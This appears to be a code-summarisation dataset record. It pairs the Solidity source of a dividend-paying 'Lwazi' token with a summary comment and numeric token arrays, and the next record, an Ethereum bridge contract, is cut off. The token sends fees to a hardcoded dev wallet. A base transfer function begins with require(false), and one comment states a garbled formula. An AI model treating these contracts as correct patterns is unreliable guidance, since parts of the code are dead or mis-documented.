// `dividendOf(_user) = dividendPerShare * balanceOf(_user)`.
// When `balanceOf(_user)` is changed (via minting/burning/transferring tokens),
// `dividendOf(_user)` should not be changed,
// but the computed value of `dividendPerShare * balanceOf(_user)` is changed.
// To keep the `dividendOf(_user)` unchanged, we add a correction term:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`,
// where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed:
// `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`.
// So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed.
mapping(address => int256) internal magnifiedDividendCorrections;
mapping(address => uint256) internal withdrawnDividends;
// Need to make gas fee customizable to future-proof against Ethereum network upgrades.
uint256 public gasForTransfer;
uint256 public totalDividendsDistributed;
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {
gasForTransfer = 3500;
}
/// @dev Distributes dividends whenever ether is paid to this contract.
receive() external payable {
distributeDividends();
}
/// @notice Distributes ether to token holders as dividends.
/// @dev It reverts if the total supply of tokens is 0.
/// It emits the `DividendsDistributed` event if the amount of received ether is greater than 0.
/// About undistributed ether:
/// In each distribution, there is a small amount of ether not distributed,
/// the magnified amount of which is
/// `(msg.value * magnitude) % totalSupply()`.
/// With a well-chosen `magnitude`, the amount of undistributed ether
/// (de-magnified) in a distribution can be less than 1 wei.
/// We can actually keep track of the undistributed ether in a distribution
/// and try to distribute it in the next distribution,
/// but keeping track of such data on-chain costs much more than
/// the saved ether, so we don't do that.
function distributeDividends() public override payable {
require(totalSupply() > 0);
if (msg.value > 0) {
magnifiedDividendPerShare = magnifiedDividendPerShare.add(
(msg.value).mul(magnitude) / totalSupply()
);
emit DividendsDistributed(msg.sender, msg.value);
totalDividendsDistributed = totalDividendsDistributed.add(msg.value);
}
}
/// @notice Withdraws the ether distributed to the sender.
/// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.
function withdrawDividend() public virtual override {
_withdrawDividendOfUser(payable(msg.sender));
}
/// @notice Withdraws the ether distributed to the sender.
/// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.
function _withdrawDividendOfUser(address payable user) internal returns (uint256) {
uint256 _withdrawableDividend = withdrawableDividendOf(user);
if (_withdrawableDividend > 0) {
withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend);
emit DividendWithdrawn(user, _withdrawableDividend);
(bool success,) = user.call{value: _withdrawableDividend, gas: gasForTransfer}("");
if(!success) {
withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend);
return 0;
}
return _withdrawableDividend;
}
return 0;
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function dividendOf(address _owner) public view override returns(uint256) {
return withdrawableDividendOf(_owner);
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function withdrawableDividendOf(address _owner) public view override returns(uint256) {
return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]);
}
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has withdrawn.
function withdrawnDividendOf(address _owner) public view override returns(uint256) {
return withdrawnDividends[_owner];
}
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner)
/// = (magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has earned in total.
function accumulativeDividendOf(address _owner) public view override returns(uint256) {
return magnifiedDividendPerShare.mul(balanceOf(_owner)).toInt256Safe()
.add(magnifiedDividendCorrections[_owner]).toUint256Safe() / magnitude;
}
/// @dev Internal function that transfer tokens from one address to another.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param from The address to transfer from.
/// @param to The address to transfer to.
/// @param value The amount to be transferred.
function _transfer(address from, address to, uint256 value) internal virtual override {
require(false);
int256 _magCorrection = magnifiedDividendPerShare.mul(value).toInt256Safe();
magnifiedDividendCorrections[from] = magnifiedDividendCorrections[from].add(_magCorrection);
magnifiedDividendCorrections[to] = magnifiedDividendCorrections[to].sub(_magCorrection);
}
/// @dev Internal function that mints tokens to an account.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param account The account that will receive the created tokens.
/// @param value The amount that will be created.
function _mint(address account, uint256 value) internal override {
super._mint(account, value);
magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account]
.sub( (magnifiedDividendPerShare.mul(value)).toInt256Safe() );
}
/// @dev Internal function that burns an amount of the token of a given account.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param account The account whose tokens will be burnt.
/// @param value The amount that will be burnt.
function _burn(address account, uint256 value) internal override {
super._burn(account, value);
magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account]
.add( (magnifiedDividendPerShare.mul(value)).toInt256Safe() );
}
function _setBalance(address account, uint256 newBalance) internal {
uint256 currentBalance = balanceOf(account);
if(newBalance > currentBalance) {
uint256 mintAmount = newBalance.sub(currentBalance);
_mint(account, mintAmount);
} else if(newBalance < currentBalance) {
uint256 burnAmount = currentBalance.sub(newBalance);
_burn(account, burnAmount);
}
}
}
// File: contracts/LwaziDividendTracker.sol
contract LwaziDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 100000 * (10**18); // Must hold 10000+ tokens.
event ExcludedFromDividends(address indexed account);
event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() DividendPayingToken("Lwazi_Dividend_Tracker", "Lwazi_Dividend_Tracker") {
claimWait = 3600;
}
function _transfer(address, address, uint256) internal pure override {
require(false, "Lwazi_Dividend_Tracker: No transfers allowed");
}
function withdrawDividend() public pure override {
require(false, "Lwazi_Dividend_Tracker: withdrawDividend disabled. Use the 'claim' function on the main Lwazi contract.");
}
function excludeFromDividends(address account) external onlyOwner {
require(!excludedFromDividends[account]);
excludedFromDividends[account] = true;
_setBalance(account, 0);
tokenHoldersMap.remove(account);
emit ExcludedFromDividends(account);
}
function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner {
require(newGasForTransfer != gasForTransfer, "Lwazi_Dividend_Tracker: Cannot update gasForTransfer to same value");
emit GasForTransferUpdated(newGasForTransfer, gasForTransfer);
gasForTransfer = newGasForTransfer;
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
require(newClaimWait >= 3600 && newClaimWait <= 86400, "Lwazi_Dividend_Tracker: claimWait must be updated to between 1 and 24 hours");
require(newClaimWait != claimWait, "Lwazi_Dividend_Tracker: Cannot update claimWait to same value");
emit ClaimWaitUpdated(newClaimWait, claimWait);
claimWait = newClaimWait;
}
function getLastProcessedIndex() external view returns(uint256) {
return lastProcessedIndex;
}
function getNumberOfTokenHolders() external view returns(uint256) {
return tokenHoldersMap.keys.length;
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
account = _account;
index = tokenHoldersMap.getIndexOfKey(account);
iterationsUntilProcessed = -1;
if (index >= 0) {
if (uint256(index) > lastProcessedIndex) {
iterationsUntilProcessed = index.sub(int256(lastProcessedIndex));
} else {
uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ? tokenHoldersMap.keys.length.sub(lastProcessedIndex) : 0;
iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray));
}
}
withdrawableDividends = withdrawableDividendOf(account);
totalDividends = accumulativeDividendOf(account);
lastClaimTime = lastClaimTimes[account];
nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0;
secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ? nextClaimTime.sub(block.timestamp) : 0;
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
if (index >= tokenHoldersMap.size()) {
return (0x0000000000000000000000000000000000000000, -1, -1, 0, 0, 0, 0, 0);
}
address account = tokenHoldersMap.getKeyAtIndex(index);
return getAccount(account);
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
if (lastClaimTime > block.timestamp) {
return false;
}
return block.timestamp.sub(lastClaimTime) >= claimWait;
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
if (excludedFromDividends[account]) {
return;
}
if (newBalance >= MIN_TOKEN_BALANCE_FOR_DIVIDENDS) {
_setBalance(account, newBalance);
tokenHoldersMap.set(account, newBalance);
} else {
_setBalance(account, 0);
tokenHoldersMap.remove(account);
}
processAccount(account, true);
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
uint256 numberOfTokenHolders = tokenHoldersMap.keys.length;
if (numberOfTokenHolders == 0) {
return (0, 0, lastProcessedIndex);
}
uint256 _lastProcessedIndex = lastProcessedIndex;
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
uint256 claims = 0;
while (gasUsed < gas && iterations < numberOfTokenHolders) {
_lastProcessedIndex++;
if (_lastProcessedIndex >= tokenHoldersMap.keys.length) {
_lastProcessedIndex = 0;
}
address account = tokenHoldersMap.keys[_lastProcessedIndex];
if (canAutoClaim(lastClaimTimes[account])) {
if (processAccount(payable(account), true)) {
claims++;
}
}
iterations++;
uint256 newGasLeft = gasleft();
if (gasLeft > newGasLeft) {
gasUsed = gasUsed.add(gasLeft.sub(newGasLeft));
}
gasLeft = newGasLeft;
}
lastProcessedIndex = _lastProcessedIndex;
return (iterations, claims, lastProcessedIndex);
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
uint256 amount = _withdrawDividendOfUser(account);
if (amount > 0) {
lastClaimTimes[account] = block.timestamp;
emit Claim(account, amount, automatic);
return true;
}
return false;
}
}
contract Lwazi is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private liquidating;
LwaziDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 50000000 * (10**18);
uint256 public constant ETH_REWARDS_FEE = 10;
uint256 public constant LIQUIDITY_FEE = 2;
uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE;
bool _swapEnabled = false;
bool _maxBuyEnabled = true;
address payable private _devWallet;
// use by default 150,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 150000;
// liquidate tokens for ETH when the contract reaches 100k tokens by default
uint256 public liquidateTokensAtAmount = 1000000 * (10**18);
// whether the token can already be traded
bool public tradingEnabled;
function activate() public onlyOwner {
require(!tradingEnabled, "Lwazi: Trading is already enabled");
_swapEnabled = true;
tradingEnabled = true;
}
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) public canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Liquified(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapAndSendToDev(
uint256 tokensSwapped,
uint256 ethReceived
);
event SentDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address payable devWallet) ERC20("Lwazi Project", "LWAZI") {
_devWallet = devWallet;
dividendTracker = new LwaziDividendTracker();
liquidityWallet = owner();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
// exclude from receiving dividends
dividendTracker.excludeFromDividends(address(dividendTracker));
dividendTracker.excludeFromDividends(address(this));
dividendTracker.excludeFromDividends(owner());
dividendTracker.excludeFromDividends(address(_uniswapV2Router));
dividendTracker.excludeFromDividends(address(0x000000000000000000000000000000000000dEaD));
// exclude from paying fees or having max transaction amount
excludeFromFees(liquidityWallet);
excludeFromFees(address(this));
// enable owner wallet to send tokens before presales are over.
canTransferBeforeTradingIsEnabled[owner()] = true;
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(owner(), 10000000000 * (10**18));
}
receive() external payable {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "Lwazi: The Uniswap pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "Lwazi: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
if(value) {
dividendTracker.excludeFromDividends(pair);
}
emit SetAutomatedMarketMakerPair(pair, value);
}
function excludeFromFees(address account) public onlyOwner {
require(!_isExcludedFromFees[account], "Lwazi: Account is already excluded from fees");
_isExcludedFromFees[account] = true;
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
dividendTracker.updateGasForTransfer(gasForTransfer);
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
// Need to make gas fee customizable to future-proof against Ethereum network upgrades.
require(newValue != gasForProcessing, "Lwazi: Cannot update gasForProcessing to same value");
emit GasForProcessingUpdated(newValue, gasForProcessing);
gasForProcessing = newValue;
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
dividendTracker.updateClaimWait(claimWait);
}
function getGasForTransfer() external view returns(uint256) {
return dividendTracker.gasForTransfer();
}
function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){
require(msg.sender == liquidityWallet, "Only Dev Address can disable dev fee");
_swapEnabled = _devFeeEnabled;
return(_swapEnabled);
}
function setMaxBuyEnabled(bool enabled ) external onlyOwner {
_maxBuyEnabled = enabled;
}
function getClaimWait() external view returns(uint256) {
return dividendTracker.claimWait();
}
function getTotalDividendsDistributed() external view returns (uint256) {
return dividendTracker.totalDividendsDistributed();
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function withdrawableDividendOf(address account) public view returns(uint256) {
return dividendTracker.withdrawableDividendOf(account);
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
return dividendTracker.balanceOf(account);
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getAccount(account);
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
return dividendTracker.getAccountAtIndex(index);
}
function processDividendTracker(uint256 gas) external {
(uint256 iterations, uint256 claims, uint256 lastProcessedIndex) = dividendTracker.process(gas);
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, false, gas, tx.origin);
}
function claim() external {
dividendTracker.processAccount(payable(msg.sender), false);
}
function getLastProcessedIndex() external view returns(uint256) {
return dividendTracker.getLastProcessedIndex();
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
return dividendTracker.getNumberOfTokenHolders();
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
//to prevent bots both buys and sells will have a max on launch after only sells will
if(from != owner() && to != owner() && _maxBuyEnabled)
require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Transfer amount exceeds the maxTxAmount.");
bool tradingIsEnabled = tradingEnabled;
// only whitelisted addresses can make transfers before the public presale is over.
if (!tradingIsEnabled) {
require(canTransferBeforeTradingIsEnabled[from], "Lwazi: This account cannot send tokens until trading is enabled");
}
if ((from == uniswapV2Pair || to == uniswapV2Pair) && tradingIsEnabled) {
//require(!antiBot.scanAddress(from, uniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
// require(!antiBot.scanAddress(to, uniswair, tx.origin), "Beep Beep Boop, You're a piece of poop");
}
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (!liquidating &&
tradingIsEnabled &&
automatedMarketMakerPairs[to] && // sells only by detecting transfer to automated market maker pair
from != address(uniswapV2Router) && //router -> pair is removing liquidity which shouldn't have max
!_isExcludedFromFees[to] //no max for those excluded from fees
) {
require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Sell transfer amount exceeds the MAX_SELL_TRANSACTION_AMOUNT.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= liquidateTokensAtAmount;
if (tradingIsEnabled &&
canSwap &&
_swapEnabled &&
!liquidating &&
!automatedMarketMakerPairs[from] &&
from != liquidityWallet &&
to != liquidityWallet
) {
liquidating = true;
uint256 swapTokens = contractTokenBalance.mul(LIQUIDITY_FEE).div(TOTAL_FEES);
swapAndSendToDev(swapTokens);
uint256 sellTokens = balanceOf(address(this));
swapAndSendDividends(sellTokens);
liquidating = false;
}
bool takeFee = tradingIsEnabled && !liquidating;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(TOTAL_FEES).div(100);
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {}
try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {
}
if (!liquidating) {
uint256 gas = gasForProcessing;
try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) {
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin);
} catch {
}
}
}
function swapAndSendToDev(uint256 tokens) private {
uint256 tokenBalance = tokens;
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(tokenBalance); // <- breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
address payable _devAndMarketingAddress = payable(0xB61a59c10DE7FbA8E3Bd3976414a5235973Daccf);
_devAndMarketingAddress.transfer(newBalance);
emit SwapAndSendToDev(tokens, newBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function swapAndSendDividends(uint256 tokens) private {
swapTokensForEth(tokens);
uint256 dividends = address(this).balance;
(bool success,) = address(dividendTracker).call{value: dividends}("");
if (success) {
emit SentDividends(tokens, dividends);
}
}
} | Create a uniswap pair for this new token exclude from receiving dividends exclude from paying fees or having max transaction amount enable owner wallet to send tokens before presales are over. | constructor(address payable devWallet) ERC20("Lwazi Project", "LWAZI") {
_devWallet = devWallet;
dividendTracker = new LwaziDividendTracker();
liquidityWallet = owner();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
dividendTracker.excludeFromDividends(address(dividendTracker));
dividendTracker.excludeFromDividends(address(this));
dividendTracker.excludeFromDividends(owner());
dividendTracker.excludeFromDividends(address(_uniswapV2Router));
dividendTracker.excludeFromDividends(address(0x000000000000000000000000000000000000dEaD));
excludeFromFees(liquidityWallet);
excludeFromFees(address(this));
canTransferBeforeTradingIsEnabled[owner()] = true;
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(owner(), 10000000000 * (10**18));
| 7,935,024 | [
1,
1684,
279,
640,
291,
91,
438,
3082,
364,
333,
394,
1147,
4433,
628,
15847,
3739,
350,
5839,
4433,
628,
8843,
310,
1656,
281,
578,
7999,
943,
2492,
3844,
4237,
3410,
9230,
358,
1366,
2430,
1865,
4075,
5408,
854,
1879,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
12,
2867,
8843,
429,
4461,
16936,
13,
4232,
39,
3462,
2932,
48,
91,
1561,
77,
5420,
3113,
315,
48,
59,
26315,
45,
7923,
288,
203,
3639,
389,
5206,
16936,
273,
4461,
16936,
31,
203,
3639,
31945,
8135,
273,
394,
511,
91,
1561,
77,
7244,
26746,
8135,
5621,
203,
3639,
4501,
372,
24237,
16936,
273,
3410,
5621,
203,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
20,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
1769,
203,
3639,
1758,
389,
318,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
1435,
2934,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
389,
318,
291,
91,
438,
58,
22,
4154,
31,
203,
203,
3639,
389,
542,
22932,
690,
3882,
278,
12373,
4154,
24899,
318,
291,
91,
438,
58,
22,
4154,
16,
638,
1769,
203,
203,
3639,
31945,
8135,
18,
10157,
1265,
7244,
350,
5839,
12,
2867,
12,
2892,
26746,
8135,
10019,
203,
2
] |
pragma solidity ^0.4.15;
library Authorities {
function contains (address[] self, address value) internal returns (bool) {
for (uint i = 0; i < self.length; i++) {
if (self[i] == value) {
return true;
}
}
return false;
}
function truncate (address[] storage self, uint len) internal {
for (uint i = len; i < self.length; i++) {
delete self[i];
}
self.length = len;
}
}
library Utils {
function toString (uint256 v) internal returns (string str) {
// it is used only for small numbers
bytes memory reversed = new bytes(8);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory s = new bytes(i);
for (uint j = 0; j < i; j++) {
s[j] = reversed[i - j - 1];
}
str = string(s);
}
}
library Signer {
function signer (bytes signature, bytes message) internal returns (address) {
require(signature.length == 65);
bytes32 r;
bytes32 s;
bytes1 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := mload(add(signature, 0x60))
}
return ecrecover(hash(message), uint8(v), r, s);
}
function hash (bytes message) internal returns (bytes32) {
bytes memory prefix = "\x19Ethereum Signed Message:\n";
return sha3(prefix, Utils.toString(message.length), message);
}
}
contract ERC20 {
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
}
contract ForeignBridge {
using Authorities for address[];
struct SignaturesCollection {
/// Signed message.
bytes message;
/// Authorities who signed the message.
address[] signed;
/// Signaturs
bytes[] signatures;
}
/// Number of authorities signatures required to withdraw the money.
///
/// Must be lesser than number of authorities.
uint public requiredSignatures;
/// Contract authorities.
address[] public authorities;
/// Pending deposits and authorities who confirmed them
mapping (bytes32 => address[]) deposits;
/// List of authorities confirmed to set up ERC-20 token address
mapping (address => address[]) public token_address;
/// Token to work with
ERC20 public erc20token;
/// Event created on money deposit.
event TokenAddress(address token);
/// Pending signatures and authorities who confirmed them
mapping (bytes32 => SignaturesCollection) signatures;
/// Event created on money deposit.
event Deposit(address recipient, uint value);
/// Event created on money withdraw.
event Withdraw(address recipient, uint value);
/// Collected signatures which should be relayed to home chain.
event CollectedSignatures(address authority, bytes32 messageHash);
/// Constructor.
function ForeignBridge(uint n, address[] a) {
require(n != 0);
require(n <= a.length);
requiredSignatures = n;
authorities = a;
}
/// Multisig authority validation
modifier onlyAuthority () {
require(authorities.contains(msg.sender));
_;
}
/// Set up the token address.
///
/// token address (address)
function setTokenAddress (ERC20 token) public onlyAuthority() {
// Protect duplicated request
require(!token_address[token].contains(msg.sender));
token_address[token].push(msg.sender);
// TODO: this may cause troubles if requriedSignatures len is changed
if (token_address[token].length == requiredSignatures) {
erc20token = ERC20(token);
TokenAddress(token);
}
}
/// Used to deposit money to the contract.
///
/// deposit recipient (bytes20)
/// deposit value (uint)
/// mainnet transaction hash (bytes32) // to avoid transaction duplication
function deposit (address recipient, uint value, bytes32 transactionHash) onlyAuthority() {
// Protection from misbehaing authority
var hash = sha3(recipient, value, transactionHash);
// Duplicated deposits
require(!deposits[hash].contains(msg.sender));
deposits[hash].push(msg.sender);
// TODO: this may cause troubles if requriedSignatures len is changed
if (deposits[hash].length == requiredSignatures) {
erc20token.transfer(recipient, value);
Deposit(recipient, value);
}
}
/// Withdraw money
function withdraw(address recipient, uint value) public {
require(erc20token.allowance(msg.sender, this) >= value);
erc20token.transferFrom(msg.sender, this, value);
Withdraw(recipient, value);
}
/// Should be used as sync tool
///
/// Message is a message that should be relayed to main chain once authorities sign it.
///
/// for withdraw message contains:
/// withdrawal recipient (bytes20)
/// withdrawal value (uint)
/// foreign transaction hash (bytes32) // to avoid transaction duplication
function submitSignature (bytes signature, bytes message) onlyAuthority() {
// Validate submited signatures
require(Signer.signer(signature, message) == msg.sender);
// Valid withdraw message must have 84 bytes
require(message.length == 84);
var hash = sha3(message);
// Duplicated signatures
require(!signatures[hash].signed.contains(msg.sender));
signatures[hash].message = message;
signatures[hash].signed.push(msg.sender);
signatures[hash].signatures.push(signature);
// TODO: this may cause troubles if requriedSignatures len is changed
if (signatures[hash].signed.length == requiredSignatures) {
CollectedSignatures(msg.sender, hash);
}
}
/// Get signature
function signature (bytes32 hash, uint index) constant returns (bytes) {
return signatures[hash].signatures[index];
}
/// Get message
function message (bytes32 hash) constant returns (bytes) {
return signatures[hash].message;
}
} | Event created on money deposit. | event Deposit(address recipient, uint value);
| 6,431,192 | [
1,
1133,
2522,
603,
15601,
443,
1724,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
